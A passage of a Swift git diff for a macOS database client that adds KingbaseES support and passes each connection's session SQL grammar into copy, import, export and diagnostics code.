+ private func emptyValueTest(_ operand: String, negated: Bool) -> String {
+ guard readsEmptyStringAsNull else { return "\(operand) \(negated ? "!=" : "=") ''" }
+ return "LENGTH(\(operand)) \(negated ? ">" : "=") 0"
+ }
+
/// SQLite keeps integer 5 and text '5' apart in a column with no affinity, and the grid reads both as `5`,
/// so SQLite's own text for a number matches either one.
private func eitherStorageComparison(_ column: String, _ value: String, columnType: ColumnType?, negated: Bool) -> String? {
diff --git a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
index 0bba3e9ea4..96d91478f3 100644
--- a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
+++ b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
@@ -1,5 +1,6 @@
import Foundation
import TableProPluginKit
+import TableProSQLGrammar
struct QueryDiagnostic: Equatable, Identifiable {
enum Severity: String {
@@ -42,7 +43,7 @@ struct CombinedQueryDiagnosticsProducer: QueryDiagnosticsProducing {
@MainActor
enum QueryDiagnosticsFactory {
- static func make(for databaseType: DatabaseType?) -> QueryDiagnosticsProducing {
+ static func make(for databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) -> QueryDiagnosticsProducing {
let resolvedType = databaseType ?? .mysql
// Highlighting as JavaScript does not make the language JavaScript: Elasticsearch, Typesense
@@ -57,7 +58,7 @@ enum QueryDiagnosticsFactory {
case .sql:
return CombinedQueryDiagnosticsProducer(producers: [
SQLDiagnosticsProducer(),
- SQLConfusableCharacterDiagnosticsProducer(grammar: resolvedType.lexicalGrammar)
+ SQLConfusableCharacterDiagnosticsProducer(grammar: grammar ?? resolvedType.lexicalGrammar)
])
case .bash:
// A command line's arguments are plain text, so `SET smile :)` holds a bracket that closes
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
index 5d83919195..1d94e168ed 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
@@ -62,7 +62,9 @@ internal enum ObjectCopyEligibility {
from source: DatabaseType,
to target: DatabaseType,
sourceLanguage: EditorLanguage,
- targetLanguage: EditorLanguage
+ targetLanguage: EditorLanguage,
+ sourceSession: PluginSessionLexicalState? = nil,
+ targetSession: PluginSessionLexicalState? = nil
) -> String? {
guard supportsCopying(editorLanguage: sourceLanguage),
supportsCopying(editorLanguage: targetLanguage) else {
@@ -71,7 +73,7 @@ internal enum ObjectCopyEligibility {
source.rawValue, target.rawValue
)
}
- return crossEngineRefusal(from: source, to: target)
+ return crossEngineRefusal(from: source, sourceSession, to: target, targetSession)
}
/// The second half of the gate, and the one the editor language cannot answer.
@@ -81,8 +83,12 @@ internal enum ObjectCopyEligibility {
/// where both engines have a type system `SQLTypeFamily` names, which is the same set the
/// translation was written and tested against. Within one engine nothing is translated, so an
/// engine no family names still copies to itself.
- private static func crossEngineRefusal(from source: DatabaseType, to target: DatabaseType) -> String? {
- guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil }
+ private static func crossEngineRefusal(
+ from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+ to target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+ ) -> String? {
+ guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil }
+ if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded }
let unnamed = [source, target].filter { SQLTypeFamily.of($0) == .generic }
guard let first = unnamed.first else { return nil }
return String(
@@ -93,6 +99,33 @@ internal enum ObjectCopyEligibility {
)
}
+ /// `SQLTypeFamily.needsTranslation` with each side's session applied, so two servers of one engine
+ /// in different modes cross as well.
+ private static func crosses(
+ from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+ to target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+ ) -> Bool {
+ let sourceFamily = SQLTypeFamily.of(source, session: sourceSession)
+ let targetFamily = SQLTypeFamily.of(target, session: targetSession)
+ if source == target { return sourceFamily != targetFamily }
+ return sourceFamily != targetFamily || sourceFamily == .generic
+ }
+
+ private static func modeRefusal(
+ _ source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+ _ target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+ ) -> String? {
+ let moded = [(source, sourceSession), (target, targetSession)]
+ .first { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }
+ guard let moded else { return nil }
+ return String(
+ format: String(
+ localized: "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode."
+ ),
+ moded.0.rawValue
+ )
+ }
+
/// Why a view, routine or trigger cannot cross to another engine.
///
/// Its definition is the source's own SQL text and nothing here parses it, so a MySQL view's
@@ -101,9 +134,12 @@ internal enum ObjectCopyEligibility {
/// structure the translator can restate; a definition has only text.
internal static func definitionEngineRefusal(
from source: DatabaseType,
- to target: DatabaseType
+ to target: DatabaseType,
+ sourceSession: PluginSessionLexicalState? = nil,
+ targetSession: PluginSessionLexicalState? = nil
) -> String? {
- guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil }
+ guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil }
+ if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded }
return String(
format: String(
localized: "Its definition is written in %1$@'s own SQL, which %2$@ does not parse."
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
index 127c8315fd..926323d086 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
@@ -12,6 +12,7 @@
import Foundation
import TableProPluginKit
+import TableProSQLGrammar
/// One table's work: its DDL, and the read and write it will stream between.
internal struct ObjectCopyTableStep: Identifiable, Sendable {
@@ -224,6 +225,8 @@ internal struct ObjectCopyPlan: Sendable {
/// so the run may write that DDL under the target's write scope. A definition read as the
/// session is runs as the session is, the way it did before scopes.
internal let isStructureReadPinned: Bool
+ /// The target session's execution grammar, which the review script is written in.
+ internal let targetGrammar: SQLLexicalGrammar
internal init(
request: ObjectCopyRequest,
@@ -232,7 +235,8 @@ internal struct ObjectCopyPlan: Sendable {
definitionSteps: [ObjectCopyDefinitionStep],
schemaStatements: [SyncStatement] = [],
skipped: [ObjectCopySkip] = [],
- isStructureReadPinned: Bool = false
+ isStructureReadPinned: Bool = false,
+ targetGrammar: SQLLexicalGrammar? = nil
) {
self.request = request
self.createsDatabase = createsDatabase
@@ -241,6 +245,7 @@ internal struct ObjectCopyPlan: Sendable {
self.schemaStatements = schemaStatements
self.skipped = skipped
self.isStructureReadPinned = isStructureReadPinned
+ self.targetGrammar = targetGrammar ?? request.target.databaseType.lexicalGrammar
}
/// Shown above the script, for the caveats the copy cannot do anything about: a key column the
@@ -386,7 +391,7 @@ internal struct ObjectCopyPlan: Sendable {
/// filled, and a user reasoning about a cascade from what they were asked to approve reached
/// the opposite conclusion from what the run would do.
internal var scriptText: String {
- let script = SQLScriptText(databaseType: request.target.databaseType)
+ let script = SQLScriptText(databaseType: request.target.databaseType, grammar: targetGrammar)
var lines: [String] = []
if case .newDatabase(_, let name, _) = request.destination {
lines.append(String(format: String(localized: "-- Create database %@"), name))
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
index 448133d1ca..375a845484 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
@@ -152,7 +152,10 @@ internal struct ObjectCopyPlanner {
definitionSteps: definitionSteps,
schemaStatements: try await buildSchemaStatements(request, namespaces: targetNamespaces),
skipped: skipped,
- isStructureReadPinned: isStructureReadPinned
+ isStructureReadPinned: isStructureReadPinned,
+ targetGrammar: SQLLexicalResolver.executionGrammar(
+ for: request.target.databaseType, connectionId: request.target.connectionId
+ )
)
}
@@ -203,7 +206,12 @@ internal struct ObjectCopyPlanner {
scope: targetScope(request, endpoint: request.target)
) { driver in
guard let plugin = CompareMetadataService.pluginDriver(from: driver) else { return [] }
- let scriptText = SQLScriptText(databaseType: driver.connection.type)
+ let scriptText = SQLScriptText(
+ databaseType: driver.connection.type,
+ grammar: SQLLexicalResolver.readings(
+ for: driver.connection.type, session: driver.sessionLexicalState
+ ).execution
+ )
return namespaces.flatMap { name -> [SyncStatement] in
guard let sql = plugin.createSchemaStatement(name: name) else { return [] }
let summary = String(format: String(localized: "Create schema %@"), name)
@@ -283,7 +291,9 @@ internal struct ObjectCopyPlanner {
from: request.source.databaseType,
to: request.target.databaseType,
sourceLanguage: PluginManager.shared.editorLanguage(for: request.source.databaseType),
- targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType)
+ targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType),
+ sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState,
+ targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState
) {
throw ObjectCopyError.refused(reason)
}
@@ -849,7 +859,8 @@ internal struct ObjectCopyPlanner {
format: String(localized: "Every row already in %@ is removed."), table
)
)]
- return SQLScriptText(databaseType: databaseType).sendableStatements(sql).map { statement in
+ let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
+ return SQLScriptText(databaseType: databaseType, grammar: grammar).sendableStatements(sql).map { statement in
SyncStatement(sql: statement, objectName: table, summary: summary, hazards: hazards)
}
}
@@ -881,7 +892,10 @@ internal struct ObjectCopyPlanner {
/// engines alone, so one skip per object here costs nothing while reading every body first
/// and discarding all of them costs a round trip per object.
if let reason = ObjectCopyEligibility.definitionEngineRefusal(
- from: request.source.databaseType, to: request.target.databaseType
+ from: request.source.databaseType,
+ to: request.target.databaseType,
+ sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState,
+ targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState
) {
skipped += selections.map { ObjectCopySkip(selection: $0, reason: reason) }
return []
@@ -907,7 +921,12 @@ internal struct ObjectCopyPlanner {
sourceReads: sourceReads,
connection: connection
)
- let targetScriptText = SQLScriptText(databaseType: request.target.databaseType)
+ let targetScriptText = SQLScriptText(
+ databaseType: request.target.databaseType,
+ grammar: SQLLexicalResolver.executionGrammar(
+ for: request.target.databaseType, connectionId: request.target.connectionId
+ )
+ )
var pending: [(
selection: ObjectCopySelection, definition: String, read: RoutineSourceRead, target: ObjectCopySelection?
)] = []
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
index d70010ee22..3c3b28e2e1 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift
@@ -183,7 +183,9 @@ internal final class ObjectCopySession: ObservableObject {
from: source.databaseType,
to: target.databaseType,
sourceLanguage: PluginManager.shared.editorLanguage(for: source.databaseType),
- targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType)
+ targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType),
+ sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+ targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
) {
return reason
}
diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
index 2834f53641..a05f015296 100644
--- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
+++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift
@@ -175,6 +175,8 @@ extension DatabaseType {
Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \
Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon.
""")
+ case "KingbaseES":
+ return String(localized: "Preferred tries TLS first, falls back to plain.")
case _ where pluginTypeId == "MySQL":
return String(localized: """
Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \
diff --git a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
index 0f0d3cc92f..3a57d99e8c 100644
--- a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
+++ b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift
@@ -408,7 +408,10 @@ final class ExportDataSourceAdapter: PluginExportDataSource, @unchecked Sendable
/// Through the same owner Compare & Sync saves its scripts with, so a dump ends an Oracle unit on a `/` line and
/// puts a MySQL routine in a `DELIMITER` block exactly as a saved sync script does.
func scriptText(for ddl: String) -> String {
- SQLScriptText(databaseType: dbType).scriptText(forDriverText: ddl)
+ SQLScriptText(
+ databaseType: dbType,
+ grammar: SQLLexicalResolver.readings(for: dbType, session: driver.sessionLexicalState).execution
+ ).scriptText(forDriverText: ddl)
}
/// `tableType` carries the routine's own kind for a `.routine`, because `DROP FUNCTION` and
diff --git a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
index f4fa5c70ea..4478e37f26 100644
--- a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
+++ b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift
@@ -97,7 +97,7 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable {
self.joinsTransaction = joinsTransaction
self.driver = driver
self.databaseType = databaseType
- self.grammar = databaseType.lexicalGrammar
+ self.grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
self.tableEditDialect = TableEditDialect.of(databaseType)
self.databaseTypeId = databaseType.rawValue
self.targetTable = targetTable
@@ -600,9 +600,8 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable {
/// `ROLLBACK TO SAVEPOINT` keeps the transaction, and the classifier already reads it as not ending one.
private func fileTransactionEnd(of statement: String) -> FileTransactionEnd? {
- guard CatalogChangeClassifier.effect(of: statement, databaseType: databaseType).endsTransaction else {
- return nil
- }
+ let effect = CatalogChangeClassifier.effect(of: statement, databaseType: databaseType, grammar: grammar)
+ guard effect.endsTransaction else { return nil }
return Self.rollbackKeywords.contains(QueryClassifier.leadingKeyword(of: statement)) ? .rollback : .commit
}
diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
index 57a086a79f..9f88679c97 100644
--- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
+++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
@@ -12,15 +12,14 @@ enum ImportTypeMapper {
databaseType: DatabaseType,
serverVersion: String? = nil
) -> String {
- if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
+ switch databaseType {
+ case .postgresql, .redshift, .cockroachdb, .kingbasees:
return postgresType(
type,
jsonColumnType: PostgreSQLServerVersion.jsonColumnType(
for: databaseType, serverVersion: serverVersion
)
)
- }
- switch databaseType {
case .mysql, .mariadb, .tidb, .oceanbase:
return mysqlType(type)
case .sqlite:
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
index b07d3cb752..b8b6eeff3d 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
@@ -713,7 +713,7 @@ extension PluginMetadataRegistry {
]
return defaults + mysqlVariantDefaults(
dialect: mysqlDialect, mysqlColumnTypes: mysqlColumnTypes, idleReleaseField: mysqlIdleReleaseField
- )
+ ) + defaults.filter { $0.typeId == "PostgreSQL" }.flatMap { kingbaseESDefaults(postgreSQL: $0.snapshot) }
}
}
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
index 45728a0d4f..7e42690355 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
@@ -1,33 +1,41 @@
+//
+// PluginMetadataRegistry+KingbaseESDefaults.swift
+// TablePro
+//
+
import Foundation
import TableProPluginKit
extension PluginMetadataRegistry {
- func kingbaseESPluginDefaults() -> [(typeId: String, snapshot: PluginMetadataSnapshot)] {
- guard let postgres = Self.curatedDefaults().first(where: { $0.typeId == "PostgreSQL" })?.snapshot else {
- return []
- }
- return [("KingbaseES", PluginMetadataSnapshot(
- displayName: "KingbaseES", iconName: "postgresql-icon", defaultPort: 54_321,
- requiresAuthentication: true, supportsForeignKeys: postgres.supportsForeignKeys,
- supportsSchemaEditing: postgres.supportsSchemaEditing, isDownloadable: true,
+ // Created by initdb on V9R1C10; dbms_sql, sys and wmsys exist only in an Oracle-mode cluster.
+ static let kingbaseESSystemSchemaNames = [
+ "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler",
+ "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys",
+ "xlog_record_read",
+ ]
+
+ /// KingbaseES runs PostgreSQL's catalogs and wire protocol, so its entry is PostgreSQL's with its own identity
+ /// and without the cloud and Kerberos sign-in fields, which its servers do not offer.
+ static func kingbaseESDefaults(postgreSQL: PluginMetadataSnapshot) -> [(typeId: String, snapshot: PluginMetadataSnapshot)] {
+ [("KingbaseES", PluginMetadataSnapshot(
+ displayName: "KingbaseES", iconName: "cylinder", defaultPort: 54_321,
+ requiresAuthentication: true, supportsForeignKeys: postgreSQL.supportsForeignKeys,
+ supportsSchemaEditing: postgreSQL.supportsSchemaEditing, isDownloadable: true,
primaryUrlScheme: "kingbase", parameterStyle: .dollar,
- navigationModel: postgres.navigationModel, explainVariants: postgres.explainVariants,
- pathFieldRole: .database, supportsHealthMonitor: postgres.supportsHealthMonitor,
- urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgres.postConnectActions,
+ navigationModel: postgreSQL.navigationModel, explainVariants: postgreSQL.explainVariants,
+ pathFieldRole: .database, supportsHealthMonitor: postgreSQL.supportsHealthMonitor,
+ urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgreSQL.postConnectActions,
brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql,
- connectionMode: .network, supportsDatabaseSwitching: postgres.supportsDatabaseSwitching,
- structureEditing: postgres.structureEditing,
- capabilities: postgres.capabilities, schema: postgres.schema, editor: postgres.editor,
+ connectionMode: .network, supportsDatabaseSwitching: postgreSQL.supportsDatabaseSwitching,
+ structureEditing: postgreSQL.structureEditing,
+ capabilities: postgreSQL.capabilities, schema: postgreSQL.schema, editor: postgreSQL.editor,
connection: PluginMetadataSnapshot.ConnectionConfig(
- additionalConnectionFields: postgres.connection.additionalConnectionFields.filter {
+ additionalConnectionFields: postgreSQL.connection.additionalConnectionFields.filter {
["usePgpass", "connectionOptions"].contains($0.id)
},
category: .relational,
- tagline: postgres.connection.tagline
+ tagline: String(localized: "PostgreSQL and Oracle compatible SQL")
)
- ).withSystemNames(
- databases: postgres.schema.systemDatabaseNames,
- schemas: postgres.schema.systemSchemaNames + ["sys_catalog"]
- ))]
+ ).withSystemNames(databases: postgreSQL.schema.systemDatabaseNames, schemas: kingbaseESSystemSchemaNames))]
}
}
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
index 37bf1b024c..5c5b5b6f5b 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
@@ -38,7 +38,7 @@ extension PluginMetadataRegistry {
etcdCompletions, redisCompletions, redisColumnTypes, d1Dialect, d1ColumnTypes
) = registryDefaultIngredients()
- var defaults: [(typeId: String, snapshot: PluginMetadataSnapshot)] = [
+ return [
("MongoDB", PluginMetadataSnapshot(
displayName: "MongoDB", iconName: "mongodb-icon", defaultPort: 27_017,
requiresAuthentication: false, supportsForeignKeys: false, supportsSchemaEditing: true,
@@ -1030,22 +1030,12 @@ extension PluginMetadataRegistry {
tagline: String(localized: "Distributed SQLite by Turso")
)
)),
- ]
- defaults += tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes)
- defaults += duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes)
- defaults += cloudPluginDefaults()
- defaults += elasticsearchPluginDefaults()
- defaults += surrealDBPluginDefaults()
- defaults += kafkaPluginDefaults()
- defaults += typesensePluginDefaults()
- defaults += r2SQLPluginDefaults()
- defaults += weaviatePluginDefaults()
- defaults += hanaPluginDefaults()
- defaults += firebasePluginDefaults()
- defaults += bigtablePluginDefaults()
- defaults += trinoPluginDefaults()
- defaults += kingbaseESPluginDefaults()
- return defaults
+ ] + tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes)
+ + duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes)
+ + cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults()
+ + kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults()
+ + weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults()
+ + trinoPluginDefaults()
}
// swiftlint:enable function_body_length
}
diff --git a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
index c9f4e8b8dd..ae9c3c5f95 100644
--- a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
+++ b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
@@ -90,10 +90,7 @@ struct OracleDashboardProvider: ServerDashboardQueryProvider {
var metrics: [DashboardMetric] = []
var firstFailure: Error?
- nonisolated(nonsending) func attempt(
- _ id: String,
- _ body: nonisolated(nonsending) () async throws -> Void
- ) async throws {
+ func attempt(_ id: String, _ body: () async throws -> Void) async throws {
do {
try await body()
} catch is CancellationError {
diff --git a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
index 43fabd37bd..7a13e22f1a 100644
--- a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
+++ b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift
@@ -148,7 +148,8 @@ private extension PostgreSQLDashboardProvider {
label: String(localized: "Uptime"),
unit: "",
icon: "clock",
- query: "SELECT date_trunc('second', now() - pg_postmaster_start_time())::text"
+ // KingbaseES in Oracle mode subtracts timestamps into an Oracle interval, printed as +000000000 00:20:19.
+ query: "SELECT date_trunc('second', CAST(now() - pg_postmaster_start_time() AS pg_catalog.interval))::text"
),
MetricDefinition(
id: "active_queries",
diff --git a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
index e79f232f0e..03c6fe62f4 100644
--- a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
+++ b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift
@@ -67,7 +67,7 @@ private enum DashboardEngine {
init?(_ databaseType: DatabaseType) {
switch databaseType {
- case .postgresql:
+ case .postgresql, .kingbasees:
self = .postgresql
case .redshift:
self = .redshift
diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
index fc83b10af9..d46a043edc 100644
--- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
+++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
@@ -4,7 +4,6 @@
//
import Foundation
-import TableProPluginKit
enum CellExpressionKind: Hashable, Sendable {
case timestamp
@@ -60,7 +59,7 @@ struct CellExpression: Hashable, Sendable {
enum CellExpressionVocabulary {
static func expressions(for databaseType: DatabaseType) -> [CellExpression] {
switch databaseType {
- case .postgresql, .pglite: postgreSQL
+ case .postgresql, .pglite, .kingbasees: postgreSQL
case .cockroachdb: cockroachDB
case .redshift: redshift
case .mysql, .mariadb, .tidb, .oceanbase: mySQL
@@ -78,7 +77,7 @@ enum CellExpressionVocabulary {
case .bigQuery: bigQuery
case .snowflake: snowflake
case .trino, .presto: trino
- default: SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres ? postgreSQL : []
+ default: []
}
}
diff --git a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
index e0594f8a7b..bc761bd61d 100644
--- a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
+++ b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift
@@ -70,6 +70,7 @@ internal enum TransactionEngineFamily: String, Hashable, Sendable, CaseIterable
"AlloyDB": .postgres,
"Citus": .postgres,
"Greenplum": .postgres,
+ "KingbaseES": .postgres,
"Redshift": .redshift,
"CockroachDB": .cockroach,
"MySQL": .mysql,
diff --git a/apple/TablePro/Core/Services/Export/ImportService.swift b/apple/TablePro/Core/Services/Export/ImportService.swift
index c7b26a9aee..079b902492 100644
--- a/apple/TablePro/Core/Services/Export/ImportService.swift
+++ b/apple/TablePro/Core/Services/Export/ImportService.swift
@@ -97,7 +97,7 @@ final class ImportService: ObservableObject {
source = SqlFileImportSource(
url: url,
encoding: encoding,
- grammar: connection.type.lexicalGrammar,
+ grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id),
family: TransactionEngineFamily.of(connection.type),
decompressedURL: decompressedURL,
ownsDecompressedFile: ownsDecompressedFile
diff --git a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
index c9c235ec9b..4215ed31d6 100644
--- a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
+++ b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift
@@ -133,7 +133,10 @@ internal struct RowImportTableMaker {
OperationRequest(
connectionId: connection.id,
databaseType: connection.type,
- sql: SQLScriptText(databaseType: connection.type).script(statements),
+ sql: SQLScriptText(
+ databaseType: connection.type,
+ grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
+ ).script(statements),
kind: clears ? .destructiveQuery : .schemaMutation,
caller: .userInterface,
capabilities: .interactiveUser,
diff --git a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
index 223ef4e0b2..9609750904 100644
--- a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
+++ b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift
@@ -131,7 +131,11 @@ final class CatalogChangeService {
private func recordStatements(_ statements: [String], databaseType: DatabaseType, connectionId: UUID) {
recordNameHazards(of: statements, databaseType: databaseType, connectionId: connectionId)
- let effect = CatalogChangeClassifier.effect(ofStatements: statements, databaseType: databaseType)
+ let effect = CatalogChangeClassifier.effect(
+ ofStatements: statements,
+ databaseType: databaseType,
+ grammar: SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId)
+ )
var kinds = effect.kinds
if effect.endsTransaction {
kinds.formUnion(Self.transactionEndKinds)
@@ -145,14 +149,14 @@ final class CatalogChangeService {
/// chain and a drop of a name another statement just freed both land on the right table.
private func recordCommittedTableEdits(of succeeded: SucceededStatements) {
let connectionId = succeeded.scope.connectionId
+ let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId)
recordNameHazards(
of: DatabaseManager.startupStatements(
- from: startupCommands(connectionId), databaseType: succeeded.databaseType
+ from: startupCommands(connectionId), databaseType: succeeded.databaseType, grammar: grammar
),
databaseType: succeeded.databaseType,
connectionId: connectionId
)
- let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId)
var hazards = nameHazards[connectionId] ?? TableNameHazards()
let edits = CommittedTableEdits.edits(in: succeeded, grammar: grammar, hazards: &hazards)
nameHazards[connectionId] = hazards
diff --git a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
index 2c9d318404..b5aaadfd58 100644
--- a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
+++ b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift
@@ -13,7 +13,7 @@ import TableProPluginKit
enum ExplainPlanFormatDefaults {
static func format(for databaseType: DatabaseType) -> ExplainPlanFormat {
switch databaseType {
- case .postgresql, .pglite:
+ case .postgresql, .pglite, .kingbasees:
return .postgresJson
case .mysql, .mariadb:
return .mysqlComposite
diff --git a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
index 26d3ffb7e2..d6c229999e 100644
--- a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
+++ b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift
@@ -8,13 +8,21 @@ import TableProSQLGrammar
